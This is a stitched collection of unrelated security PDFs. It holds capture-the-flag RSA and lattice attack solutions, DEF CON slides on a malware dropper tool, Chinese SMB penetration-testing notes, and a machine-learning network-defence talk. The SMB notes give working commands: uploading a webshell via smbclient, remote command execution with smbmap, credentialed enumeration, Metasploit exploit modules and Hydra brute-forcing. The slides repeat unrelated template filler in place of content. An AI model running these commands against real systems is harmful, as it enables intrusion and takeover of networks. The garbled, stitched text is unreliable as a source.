125, 119], [432, 70, 65, 258, 382, 289, 181, 410, 64, 424, 56, 204, 266, 321, 315, 66, 336, 399, 192, 104, 246, 179, 170, 193, 386, 451, 135, 390, 410, 362, 36, 88, 244, 362, 108, 425, 336, 126, 338, 498, 31, 462], [326, 335, 475, 167, 447, 405, 223, 91, 277, 32, 64, 307, 253, 125, 319, 239, 416, 281, 324, 311, 225, 416, 17, 511, 347, 29, 122, 467, 481, 429, 291, 509, 177, 59, 88, 440, 138, 320, 201, 105, 279, 457], [72, 88, 11, 386, 25, 1, 473, 481, 259, 141, 190, 493, 247, 412, 111, 255, 343, 95, 376, 283, 216, 108, 37, 18, 184, 424, 175, 250, 508, 329, 354, 160, 142, 436, 301, 35, 91, 369, 198, 385, 54, 62], [510, 94, 291, 85, 158, 23, 341, 402, 114, 180, 302, 257, 84, 160, 108, 398, 383, 330, 403, 298, 468, 55, 389, 430, 248, 311, 122, 122, 377, 99, 260, 97, 362, 125, 309, 345, 248, 139, 26, 291, 16, 415], [310, 360, 227, 478, 431, 341, 4, 215, 30, 315, 434, 195, 398, 414, 416, 360, 356, 181, 496, 442, 411, 84, 348, 138, 54, 103, 293, 357, 192, 47, 340, 309, 419, 27, 392, 493, 72, 470, 469, 34, 306, 382], [137, 364, 425, 177, 41, 48, 494, 142, 455, 145, 402, 252, 197, 484, 477, 184, 391, 115, 18, 56, 411, 393, 42, 439, 311, 238, 359, 353, 137, 98, 9, 481, 282, 360, 42, 120, 241, 318, 427, 500, 166, 64], [293, 93, 247, 103, 264, 175, 38, 283, 271, 287, 80, 400, 79, 368, 488, 441, 79, 134, 8, 408, 23, 151, 433, 113, 315, 147, 290, 127, 177, 377, 9, 357, 292, 357, 367, 381, 385, 413, 6, 283, 94, 275], [88, 178, 365, 42, 307, 411, 172, 374, 183, 499, 224, 280, 76, 352, 254, 108, 274, 290, 221, 426, 342, 159, 417, 271, 236, 4, 137, 89, 415, 426, 96, 351, 251, 333, 150, 434, 383, 123, 388, 27, 292, 493], [462, 374, 205, 176, 488, 58, 258, 405, 358, 111, 294, 110, 65, 65, 407, 206, 363, 361, 107, 172, 304, 110, 49, 293, 348, 184, 304, 174, 287, 141, 478, 250, 488, 413, 94, 190, 505, 222, 213, 279, 226, 489], [471, 51, 364, 285, 236, 339, 154, 104, 171, 315, 226, 240, 306, 410, 329, 151, 76, 48, 326, 161, 483, 3, 137, 265, 113, 66, 225, 116, 122, 18, 146, 271, 422, 314, 203, 424, 30, 442, 441, 89, 171, 486], [479, 433, 468, 181, 411, 209, 306, 262, 309, 411, 180, 141, 97, 502, 302, 370, 472, 362, 378, 251, 103, 202, 458, 250, 71, 317, 396, 231, 415, 419, 490, 261, 81, 400, 55, 5, 484, 173, 90, 464, 288, 306], [411, 447, 511, 98, 133, 509, 34, 171, 366, 416, 243, 83, 25, 172, 104, 363, 458, 14, 442, 161, 174, 262, 356, 365, 350, 164, 136, 237, 191, 465, 389, 491, 96, 347, 505, 353, 451, 264, 125, 80, 393, 414], [17, 484, 300, 120, 160, 240, 94, 92, 88, 380, 510, 269, 268, 300, 155, 112, 358, 65, 258, 361, 491, 300, 503, 374, 376, 420, 275, 207, 367, 72, 135, 291, 429, 205, 391, 469, 91, 256, 40, 231, 151, 380], [141, 450, 491, 239, 342, 36, 368, 384, 35, 126, 299, 108, 483, 417, 264, 162, 142, 405, 102, 434, 268, 173, 193, 327, 502, 218, 501, 393, 472, 92, 40, 25, 407, 491, 294, 15, 97, 227, 257, 390, 120, 384], [375, 123, 154, 400, 83, 199, 236, 479, 112, 228, 329, 81, 280, 396, 296, 125, 52, 84, 466, 104, 204, 445, 107, 370, 253, 211, 191, 156, 288, 25, 359, 190, 55, 269, 403, 84, 470, 403, 105, 179, 163, 217], [345, 313, 404, 71, 162, 379, 452, 22, 94, 346, 78, 195, 148, 510, 86, 481, 165, 50, 234, 181, 134, 277, 173, 156, 163, 28, 105, 38, 446, 308, 413, 358, 459, 322, 163, 14, 62, 415, 324, 80, 130, 347], [322, 237, 189, 215, 436, 248, 270, 328, 135, 10, 293, 249, 88, 416, 154, 106, 469, 343, 363, 194, 159, 395, 242, 371, 397, 256, 383, 19, 158, 181, 319, 78, 204, 60, 442, 438, 230, 69, 463, 144, 466, 490]] b_values = [2087, 1418, 498, 2090, 539, 424, 1452, 61, 1447, 334, 963, 389, 1875, 514, 644, 977, 1473, 2062, 2082, 1501, 1087, 1948, 674, 2026, 1867, 1065, 1413, 1913, 525, 1486, 793, 54, 569, 474, 239, 1237, 713, 1881, 937, 961, 1539, 1252, 1766, 614, 1786, 1675, 2008, 1713, 1126, 637, 312, 241, 239, 1144, 118, 1451, 1905, 826, 226, 457, 437, 762, 1882, 1581, 1734, 1028, 1935, 1709, 23, 310, 496, 1395, 1248, 694, 1180, 1651, 108, 1, 13, 1386, 1300, 129, 525, 2127, 1845, 2026, 1972, 1099, 600, 2080, 1428, 452, 132, 158, 146, 267, 10, 1372, 939, 881, 2110, 2077, 1519, 1926, 200, 502, 2006, 1577, 1636, 1024, 1887, 116, 43, 1085, 945, 71, 438, 936, 1235, 72, 1646, 581, 1654, 635, 1977, 897, 1902, 29] A = matrix(ZZ, m + n, m) for i in range(m): A[i, i] = q for x in range(m): for y in range(n): A[m + y, x] = A_values[x][y] lattice = IntegerLattice(A, lll_reduce=True) print("LLL done") gram = lattice.reduced_basis.gram_schmidt()[0] target = vector(ZZ, b_values) res = Babai_closest_vector(lattice.reduced_basis, gram, target) print("Closest Vector: {}".format(res)) R = IntegerModRing(q) M = Matrix(R, A_values) ingredients = M.solve_right(res) print("Ingredients: {}".format(ingredients)) for row, b in zip(A_values, b_values): effect = sum(starmap(mul, zip(map(int, ingredients), row))) % q assert(abs(b - effect) < 2 ** 37) print("ok") SimpleRSA def wiener(e, n): m = 12345 c = pow(m, e, n) q0 = 1 list1 = continued_fraction(Integer(e)/Integer(n)) conv = list1.convergents() for i in conv: k = i.numerator() q1 = i.denominator() for r in range(20): for s in range(20): d = r*q1 + s*q0 m1 = pow(c, d, n) if m1 == m: return d q0 = q1 e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000 5703870931522362632033957269746929598193154107811800942162091000695307914074955108826 4078192056473221432789809994479271425362204787315263043806015164460178684368374625640 7925709702163565141004356238879406385566586704226148537863811717298966607314747737551 7243795166753766347714558839760690071342189824351701606478485494122891289820706478327 74446345062489374092673169618836701679 n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223 0552399539651824512521947689357026280565870341738006058274240432816731836064787361899 2737774557537990887645648501683241680602925497276961739356023849432607894084229515302 9285394491783712384990125100774596477064482280829407856014835231711788990066676534414 4147410677595641023316146667137970738112450995121305286004640994927346716890849900360 77860042238454908960841595107122933173 d = wiener(e, n) print(d) c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460 6873196483625495633131252680697224121480238856269626409158523172979164217258180778142 3729280721895257411114191815839119062136250886284293294578305918195261431728911640587 8741758913351697905289993651105968169193211242144991434715552952340791545323270065763 5298650103261928243346844132123577082752590962025090428380811500557276504438874382539 64607414944245877904002580997866300452 pow(c, d, n) exposure dp = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430 236879985 c, e, n = 4673596220485719052047643489888100153066571815569889888260342202348499838866885869291 2250418134186095459060506275961050676051693220280588047233628259880712415593039977585 8058909200893186430025978370000496261549009085433847612103588358439740729600808571507 27010985827690190496793207012355214605393036388807616, 7621, 1403760491349348221539642434030312019222395880541333190564834133119633853212796821863 5494844184037412464018789461968971974634733429862108348549408636115291545745800499841 9817456902929318697902819798254427945343361548635794308362823239150919240307072688623 000747781103375481834571274423004856276841225675241863 tmp = dp * e - 1 kbits = 210 for i in range(1, e): p = (tmp // i + 1) << 200 PR.<x> = PolynomialRing(Zmod(n)) f = x + p roots = f.small_roots(X=2^kbits, beta=0.4) if roots: print(i, roots) x0 = roots[0] if (n%(p+x0)) == 0: print(p+x0) break from Crypto.Util.number import long_to_bytes p = 1142176184493857029617817817491639711006995291067100421787388536975273050986332762879 4478842373581937596761823394628513585538173848033965350050214224480253 q = n//p assert p*q == n d = inverse_mod(e, (p-1)*(q-1)) print(long_to_bytes(pow(c,d,n))) more calc import gmpy2 from Crypto.Util.number import * c = 3505591868374888328217478432365181356052073760318580022742450042876226493302151138187 1995418539707283801414497303232960090541986190867832897131815320508500774326925395739 5282420325663132161022100365481003745940818974280988045034204540385744572806102552420 4283262655419253467028436933669917534682203000708886517325025207970027072486042757551 4471342164997149244044205247072315311115645755855836214700200464613652201134426101746 1901953583462467622428810167107079281190209731251995976003352201766861887320739990258 6015506060053888729678251796261767145034755578838105434455553900145626868018945283116 0062315698482986474322296387716709989292671747978922668181058489406663507675599642320 3380493776130488170859798745677727810528672150350333480506424506676127108526488370011 0991476988750700439255242178373796541680091797981313783526231779477531929480125748317 7741372991005066875900770459644762548438474388076655842822437141772648037236281057239 5522725083798926133468409600491925317437998458582723897120786458219630275616949619564 0997335427662977706820445616053440903947775709737252117130762018469424388838970784080 6777932547158990704118642378158004690358831695861544319681913385236756504946707671037 6395085898875495653237178198379421129086523 p = 2740510704175326648914538862185816951187299662276526706486854211726987553136493989667 1662734188734825462948115530667205007939029215517180761866791579330410449202307248373 2292246622328221803972157211633691511150197705965287047194724245510245169286065849757 9335081494399773193999645995972082602511017921647770937384994541148373152483128489502 4319654509286305913312306154387754998813276562173335189450448233216133842189148761197 9485595299601444535131913722549020311687551651242187835047408344423793633114891087322 1605156695349827919853779462052180077391722800240297035808703350489720502188129515404 6656335865303621793069 s = (p-(pow(2,p,p*p)-2) // p) q = gmpy2.next_prime(s) n = p*q e = 0x10001 d = inverse(e, (p-1)*(q-1)) print(long_to_bytes(pow(c,d,n))) RSAssss from Crypto.Util.number import * from gmpy2 import next_prime, iroot, mpz p = getPrime(512) q = getPrime(512) n = p * q * next_prime(p) * next_prime(q) e = 0x10001 n = 8030860507195481656424331455231443135773524476536419534745106637165762909478292141556 8468921465535556093019148841764223222867395461936822363558231490967310580449330465529 2670768216843572780017578337304572669209369414871852161059052371881309689588353324533 1244650675812406540694948121258394822022998773233400623162137949381772195351339548977 4225645460541889185423820884716667958421850190020250835431629917393099359727058719437 8773378449173550090501365106128402044757823013507521126840541325436843954925991731244 5348808412659422810647972872286215701325216318641985498202349281374905892279894612835 009186944143298761257 c = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314 1293125933610876062438195282986101317970782623513073968319853975553906401513911386334 3195174674815661046358247964556177919498180612989800987651789945084087556967597676515 5608446799203699927448835004756707151281044859676695533373755798273892503194753948997 9476531006908418809254450591754943141986054750239395677504099072176542914306151022585 2399839423143679690263507799582947734731675473993898081429330428931841744349301970407 3164585505217658570214989150175123757038125380996050761572021986573934155470641091678 664451080065719261207 # factor using https://www.alpertron.com.ar/ECM.HTM n0 = 8961506852753883631560212415400830028663693459961733486750905307662271536580937174003 7316558871796433906844464070995869293654082577887578197182408045172781798703173650574 7376449145155915222567588480899555787134587152345366644152165268309678318623015186365 86702212189087959136509334102772855657664091570630079 n1 = 8961506852753883631560212415400830028663693459961733486750905307662271536580937174003 7316558871796433906844464070995869293654082577887578197182408045175035339285085728002 8382203140684746709752287784642400880843318074207201213644867650111696697475533936616 50912114228227308579940164269877101973728452252879383 assert n0*n1 == n def solve(a, b, c): ga = mpz(a) gb = mpz(b) gc = mpz(c) delat = gb**2-4*ga*gc if delat <= 0: return 0, 0 de = iroot(delat, 2) if de[1]: r1 = (de[0]-gb) % (2*ga) r2 = (-de[0]-gb) % (2*ga) if (r1, r2) == (0, 0): x1 = (de[0]-gb) // (2*ga) x2 = (-de[0]-gb) // (2*ga) x = max(x1, x2) if n0 % x == 0: return x, 0 if n1 % x == 0: return x, 1 return 0, 0 for x in range(1, 1000): for y in range(1, 1000): a = y b = x*y+n1-n0 c = -n0*x res, flag = solve(a, b, c) if res: print(x, y, res, flag) p = 7438702853077959381258310132763396438106232921778795282485510181580967905871873724619 094997564895264666055160684895522536793412379230489025112499879129021 c = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314 1293125933610876062438195282986101317970782623513073968319853975553906401513911386334 3195174674815661046358247964556177919498180612989800987651789945084087556967597676515 5608446799203699927448835004756707151281044859676695533373755798273892503194753948997 9476531006908418809254450591754943141986054750239395677504099072176542914306151022585 2399839423143679690263507799582947734731675473993898081429330428931841744349301970407 3164585505217658570214989150175123757038125380996050761572021986573934155470641091678 664451080065719261207 n = n0 q = n//p c = c % n0 d = inverse(e, (p-1)*(q-1)) print(long_to_bytes(pow(c, d, n)))
pdf
I'LL SEE YOUR MISSLE AND RAISE YOU A MIRV: DEFCON 26 01 02 04 03 AGENDA PRESENTERS STAGERS, CCDC, & HISTORY Trampoline Malware(s) Exploit Payload Dropper Empire Pupy Meterpreter Professional offensive engagements (CCDC) Context aware implant solutions As a form of “packing” 3rd party crimeware. Now we're ready to release a re-written, shiny new V1.0 version to you today! Genesis Scripting Engine development started in late 2017 to prepare for the 2018 CCDC season. We ended up using the BETA version at WRCCDC and NCCDC in 2018. Moved our tool chain to a golang, known as Gooby. This included a golang dropper experiment to abstract dropping from the other cluster bomb tools, known as Genesis. PRESENTING THE GENESIS SCRIPTING ENGINE GSCRIPT STANDARD LIBRARY COMMAND LINE TOOL (CLI) DEBUGGER ENGINE COMPILER OBFUSCATOR BASIC EXAMPLE: EMBED A PAYLOAD AND WRITE TO A FILE 1) Write a gscript 01:00 – 02:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value OUR PORTFOLIO 10:00 – 11:00 AM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value WELCOME MESSAGE 11:00 – 12:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value ABOUT US 12:00 – 01:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value MEET THE TEAM 1) Write a gscript 01:00 – 02:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value OUR PORTFOLIO 10:00 – 11:00 AM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value WELCOME MESSAGE 11:00 – 12:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value ABOUT US 12:00 – 01:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value MEET THE TEAM 1) Write a gscript 2) Write another 01:00 – 02:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value OUR PORTFOLIO 10:00 – 11:00 AM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value WELCOME MESSAGE 11:00 – 12:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value ABOUT US 12:00 – 01:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value MEET THE TEAM 1) Write a gscript 2) Write another 3) Compile using CLI gscript compile --output-file /tmp/opt/ex1/dropper.bin *.gs 1) Write a gscript 2) Write another 3) Compile using CLI 4) That's it!!! Run it!!! 1) Write a gscript 2) Write another 3) Compile using CLI 4) That's it!!! Run it!!! WAIT, WUT? PLEASE EXPLAIN. 01 02 main() 03 04 GSCRIPT main() Finally, the script's "entry point" is called. In GSCRIPT, this is the Deploy() function defined in your script. Call Entry Point In VM The first thing the engine does is create the V8 virtual machine and prepare it for injection. Initialize JS Virtual Machine Native function interfaces are injected into mock JS objects. Asset table mapped, and script loaded. Inject Bundle (Script/Assets/Libs) GSCRIPT COMPILER INTERNALS The GSCRIPT compiler takes care of the rest. #WINNING You can now use most exported, non-receiver functions. We've implemented a return array for any multiple assignment Go functions so you never miss data or errors. The GSCRIPT compiler is smart enough to resolve your imports and ensure you're calling functions for that package correctly. //go_import "This seems safe." DEBUGGING gscript shell --macro/-m gscript shell --macro/-m gscript shell TypeOf(obj) --macro/-m gscript shell --macro/-m gscript shell TypeOf(obj) SymbolTable() CURRENT LIMITATIONS The Javascript VM only supports ES5 at this time. ES5 Support Only Because of embedding all it's dependencies and payloads, the binaries tend to be on the larger side. (At least 2MB) Large Binaries There are several declaration types in Golang which are not linkable yet. This includes const and var, as well as any exported type that isn't returnable by a function. Go Types Lack Flexibility There is no async() primitives in Javascript currently. If you want to run async code, build a Go package that manages the concurrency. No Concurrency Primitives in JS Golang's RE2 has some corner case incompatibilities with Javascript regular expressions, preventing lots of JS code from being runnable out of the box. Limited Regex Support Currently, GSCRIPT can only target a subset of Golang target OSes and architectures. No FreeBSD Support GSCRIPT STANDARD LIBRARY crypto encoding exec file net Name Current Uses os rand requests time Various hashing algorithms & RSA key generation Encoding & decoding base64 Blocking and non-blocking command execution File operations - write, read, append, copy, replace Functions to help determine if the machine is listening on tcp/udp ports Genesis process control (terminate self, etc.) Basic rand generators - int, strings, bools, etc. Basic HTTP client for GET & POST of multiple content types Retrieving system time in unix epoch REAL WORLD APPLICATIONS Lower Overhead Infinite Expansion Consistency Self Documenting Low Barrier to Entry Cross-platform Features 1 2 3 4 GSCRIPT TBD TBD TBD TBD DEMO TIME #1: DAN'S EXAMPLE ORDINANCE #1: PRESENTER'S PAYLOAD D'JOUR #3: THE PEOPLE'S BINARY https://github.com/gen0cide/gscript GET CONNECTED TWITTER: @1njection GITHUB: github.com/ahhh BLOG: lockboxx.blogspot.com TWITTER: @vyrus GITHUB: github.com/vyrus001 EMAIL: [email protected] TWITTER: @alexlevinson GITHUB: github.com/gen0cide EMAIL: [email protected]
pdf
协议版本 使用该协议的Windows 版本 SMB1.0 Windows 2000、Windows XP、Windows Server 2003 和Windows Server 2003 R2 SMB2.0 Windows Vista 和Windows Server 2008 SMB2.1 Windows 7 和Windows Server 2008 R2 SMB3.0 Windows 8 和Windows Server 2012 SMB.3.02 Windows 8.1 和Windows Server 2012 R2 SMB 3.1.1 Windows 10 和Windows Server 2016 T1051: Shared Webroot 笔者查看 Mitre ATT&CK T1051时,发现该技术已被弃用,即该项技术已过时,没有在野使用的 案例。 问了下@九世,靶机中这种情况很多,所以还是记录下。 简单概括为使用smbclient 上传webshell。 番外篇——SMB 既然接触的SMB,笔者就找了SMB相关的资料看了下,这个服务太常见了,以至于内网很多脆弱点都是 靠它打开的。 SMB(Server Message Block)作为一种应用层协议,历史比我们想象的更久远,我猜看到这篇笔记的 人都没SMB的年龄大(Barry Feigenbaum最初于1983年初在IBM设计SMB ,是一种文件共享协议,此 为SMB1)。 1996年,Microsoft 在 Windows NT 4.0 实现了 SMB1 ,即为CIFS ,注意,大多数时候,更愿意叫做 SMB。 简要的列举下Windows 的SMB 版本: 在各种SMB资料中,你会频繁的看到一个协议:NetBIOS 协议。 smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345  #列出共享 smbclient //192.168.3.71/wwwroot -U 0day/jerry smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式的shell上传文件 smbclient {{//server/share}} --directory {{path/to/directory}} --command "put {{file.txt}}"   smbclient //192.168.3.71/wwwroot -U guest%"" --command="put /home/kali/webshell.aspx webshell.aspx"  #密码为空,如要目标文件夹Everyone 用户具有读 写权限 #访问 http://192.157.3.71/webshell.aspx 即可 我这里说的NetBIOS 协议 指的是Windows 下的 NetBIOS over TCP(简称NBT)协议,实际上 NetBIOS 是一种局域网中的API ,没有定义协议,TCP/IP 上的NetBIOS 通过TCP/IP协议提供了 NetBIOS API 简要的说下重点: 基于TCP 的NetBIOS 使用用以下端口 可在 本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用TCP/IP 上的NetBIOS 关闭 NetBIOS 协议在Windows 上的实现为 NetBios Name Service (NBNS),显示名称为 TCP/IP NetBIOS Helper ,服务名称为 lmhosts 和Hosts 文件类似,存在LMhosts 文件,在Windows 中路径 是 %Systemroot%\System32\Drivers\Etc\lmhosts.sam ,Linux中在samba configs目录中, 一般是 /etc/samba 或 /usr/local/samba/lib WINS(Windows Internet Name Service)可以将NetBIOS 名称解析为对应的IP地址(和DNS有些 区别),为了解决NetBIOS 名不可路由而出现。 又说了一堆废话,大家理解其中的关键就好。 SMB 枚举 参考: A Little Guide to SMB Enumeration 使用的一些工具: Nmblookup nbtscan SMBMap Smbclient Rpcclient Nmap Enum4linux Crackmapexec Nmblookup nbname            137/UDP nbname            137/TCP nbdatagram        138/UDP nbsession         139/TCP nmblookup -A 192.168.3.142 Suffix Service/Description 00 Workstation Service (workstation name) 1C Domain Controller 20 File Server Service 1B Domain Master Browser NetBIOS 借助NetBIOS 名称后缀进行分类: 完整的后缀名建议参考该文章:Appendix C: Known NetBIOS Suffix Values 简单的看可以获得目标所在的域、域控在那台机器、计算机名。 枚举了一个网段中NetBIOS 名称 smbmp kali中自带的smbmp会遇到一些问题,请使用作者的最新版SMBMap。 nbtscan 192.168.3.0/24   python3 -m pip install -r requirements.txt python3 smbmap.py -u jerry -p Admin12345 -d workgroup -H 192.168.3.71 python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -x 'whoami' #执行命令 python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -r 'C$\Users' #递归路径(等同于ls) #另外 该应用同样支持hash,不必使用明文密码 Rpcclient 最初开发Rpcclient 是为了测试Samba本省的MS-RPC功能, rpcclient -U "" -N 192.168.1.71 #不使用用户名和密码,我们称为空会话,从Windows xp sp3 和Windows server 2003 开始就不支持空会话 rpcclient -U 0day/Administrator%'Admin!@#45' 192.168.3.71 enumdomusers queryuser 0x3e9 #3e9 =1001 srvinfo help #相关指令请参考help手册,这里不过多介绍,看下面效果 enum4linux nmap CrackMapExec CrackMapExec是笔者比较推荐的,如果这些工具选一个,那么Cme就够了。 依赖 impacket ,所以impacket 就不介绍了。 enum4linux -a 192.168.1.142 #默认空会话基本废了,不大可能遇到03的机器 enum4linux -u jerry -p Admin12345 -a  192.168.3.71 #枚举出来的信息非常不友好, nmap --script smb-vuln* -p 139,445 192.168.1.103 #原文命令是这个,笔者使用报错 ls /usr/share/nmap/scripts/ | grep smb #查看 smb相关的nse脚本 nmap --script smb-vuln-conficker -p 135.445 192.168.3.71 #笔者只能一个个这样使用 参考:CrackMapExec - Cheatsheet SMB Penetration Testing 参考: SMB Penetration Testing (Port 445) 简要的记录下,核心仍然是 nmap、Metasploit、hydra等工具 Metasploit #笔者使用的cme 5.1.0dev -x 执行选项暂时有问题,还未解决 cme smb 192.168.3.0/24 cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --loggedon-users cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --disk cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --sessions cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --users cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --groups cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --local-groups #为什么我没有使用本地管理用户,理论上来说本地管理就可以,使用本地管理时遇到 rpc_s_access_denied,暂无法解释该错误,所以这里使用的是域管 #需要明确时的上述命令实际上都是对通过rpc对一些常用命令进行封装,自带的命令都能实现同样的效果 net user 、net localgroup、net sessions cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth  --shares cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth --rid-brute #更多命令参考help手册 nmap -p 445 -A 192.168.3.71 nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.3.71 nmap --script smb-vuln* -p 445 192.168.3.71 #前面说过这个命令,使用起来会有些问题 介绍下几个模块; exploit/windows/smb/smb_delivery exploit/windows/smb/psexec exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/psexec auxiliary/server/capture/smb 结合auxiliary/spoof/nbns/nbns_response 可捕获 Net NTLMv2 hash,使用解密工具解密即可, auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop auxiliary/scanner/smb/smb_enumusers :枚举用户 post/windows/gather/enum_shares 参数部分使用 show options 查看配置选项即可。 需要说明,上面一些模块不适用于测试,请自行取舍。 另外记得关注的最新CVE-2020-0796。 Hydra use exploit/windows/smb/ #exploit中的smb相关模块 use auxiliary/scanner/smb/ #auxiliary中的smb相关模块 hydra -L user.txt -P pass.txt 192.168.3.71 smb #暴力破解
pdf
Defending Networks with Incomplete Information: A Machine Learning Approach Alexandre Pinto [email protected] @alexcpsec @MLSecProject • Security Monitoring: We are doing it wrong • Machine Learning and the Robot Uprising • More attacks = more data = better defenses • Case study: Model to detect malicious agents • MLSec Project • Acknowledgments and thanks Agenda • 12 years in Information Security, done a little bit of everything. • Past 7 or so years leading security consultancy and monitoring teams in Brazil, London and the US. – If there is any way a SIEM can hurt you, it did to me. • Researching machine learning and data science in general for the past year or so. Active competitor in Kaggle machine learning competitions. Who’s this guy? • Logs, logs everywhere • Where? – Log management – SIEM solutions The Monitoring Problem • Why? – Compliance – Incident Response • Gartner Magic Quadrant for Security Information and Event Management 2013. – “Organizations are failing at early breach detection, with more than 92% of breaches undetected by the breached organization” – “We continue to see large companies that are re-evaluating SIEM vendors to replace SIEM technology associated with partial, marginal or failed deployments.” • Are these the right tools for the job? Monitoring / Log Management is Hard • SANS Eighth Annual 2012 Log and Event Management Survey Results (http://www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf) Monitoring / Log Management is Hard • However, there are individuals who will do a good job • How many do you know? • DAM hard (ouch!) to find these capable professionals Not exclusively a tool problem • How many of these very qualified professionals will we need? • How many know/ will learn statistics, data analysis, data science? Next up: Big Data Technologies • How many of these very qualified professionals will we need? • How many know/ will learn statistics, data analysis, data science? Next up: Big Data Technologies We need an Army! Of ROBOTS! • “Machine learning systems automatically learn programs from data” (*) • You don’t really code the program, but it is inferred from data. • Intuition of trying to mimic the way the brain learns: that’s where terms like artificial intelligence come from. Enter Machine Learning (*) CACM 55(10) - A Few Useful Things to Know about Machine Learning (Domingos 2012) • Sales Applications of Machine Learning • Trading • Image and Voice Recognition • Supervised Learning: – Classification (NN, SVM, Naïve Bayes) – Regression (linear, logistic) Kinds of Machine Learning Source – scikit-learn.github.io/scikit-learn-tutorial/general_concepts.html • Unsupervised Learning : – Clustering (k-means) – Decomposition (PCA, SVD) • The original use case for ML in Information Security • Remember the “Bayesian filters”? There you go. • How many talks have you been hearing about SPAM filtering lately? ;) Remember SPAM filters? So what is the fuss? • Models will get better with more data – We always have to consider bias and variance as we select our data points • “I’ve got 99 problems, but data ain’t one” Domingos, 2012 Abu-Mostafa, Caltech, 2012 Designing a model to detect external agents with malicious behavior • We’ve got all that log data anyway, let’s dig into it • Most important thing is the “feature engineering” Model: Data Collection • Firewall block data from SANS DShield (per day) • Firewalls, really? Yes, but could be anything. • We get summarized “malicious” data per port Not quite “Big Data”, but enough to play around Model Intuition: Proximity • Assumptions to aggregate the data • Correlation / proximity / similarity BY BEHAVIOUR • “Bad Neighborhoods” concept: – Spamhaus x CyberBunker – Google Report (June 2013) – Moura 2013 • Group by Netblock • Group by ASN (thanks, TC) Model Intuition: Temporal Decay • Even bad neighborhoods renovate: – Agents may change ISP, Botnets may be shut down – Paranoia can be ok, but not EVERYONE is out to get you • As days pass, let’s forget, bit by bit, who attacked • A Half-Life decay function will do just fine Model Intuition: Temporal Decay Model: Calculate Features • Cluster your data: what behavior are you trying to predict? • Create “Badness” Rank = lwRank (just because) • Calculate normalized ranks by IP, Netblock (16, 24) and ASN • Missing ASNs and Bogons (we still have those) handled separately, get higher ranks. Model: Calculate Features • We will have a rank calculation per day – Each “day-rank” will accumulate all the knowledge we gathered on that IP, Netblock and ASN to that day • We NEED different days for the training data • Each entry will have its date: – Use that “day-rank” – NO cheating – Survivorship bias issues! How are we doing so far? Training the Model • YAY! We have a bunch of numbers per IP address! – How can I use this? • We get the latest blocked log files (SANS or not): – We have “badness” data on IP Addresses - features – If they are blocked, they are “malicious” - label • Sounds familiar? • Now, for each behavior to predict: – Create a dataset with “enough” observations: – ROT of 50k - 60k because of empirical dimensionality. Negative and Positive Observations • We also require “non- malicious” IPs! • If we just feed the algorithms with one label, they will get lazy. • CHEAP TRICK: Everything is “malicious” • Gather “non-malicious” IP addresses from Alexa and Chromium Top 1m Sites. SVM FTW! • Use your favorite algorithm! YMMV. • I chose Support Vector Machines (SVM): – Good for classification problems with numeric features – Not a lot of features, so it helps control overfitting, built in regularization in the model, usually robust – Also awesome: hyperplane separation on an unknown infinite dimension. Jesse Johnson – shapeofdata.wordpress.com No idea… Everyone copies this one Results: Training Data • Cross-Validation: method to test the data against itself • On the training data itself, 85 to 95% accuracy • Accuracy = (things we got right) / (everything we had) • Some behaviors are much more predictable than others: – Port 3389 is close to the 95% – Port 22 is close to the 85% – SANS has much more data on port 3389. Hmmm…… Results: New Data • And what about new data? • With new data we know the labels, we find: – 80 – 85% true positive rate (sensitivity) – 85 – 90% true negative rate (specificity) • This means that: – If the model says something is “bad”, it is 5.3 to 8.5 times MORE LIKELY to be bad. • Think about this. Our statistical intuition is bad. • Wouldn’t you rather have your analysts look at these? Results: Really New Data Final Remarks • These and other algorithms are being developed in a personal project of mine: MLSec Project • Sign up, send logs, receive reports generated by models! – FREE! I need the data! Please help! ;) • Looking for contributors, ideas, skeptics to support project as well. • Please visit http://mlsecproject.org or just e-mail me. Thanks! • Q&A? • Don’t forget your feedback forms! Alexandre Pinto [email protected] @alexcpsec @MLSecProject
pdf
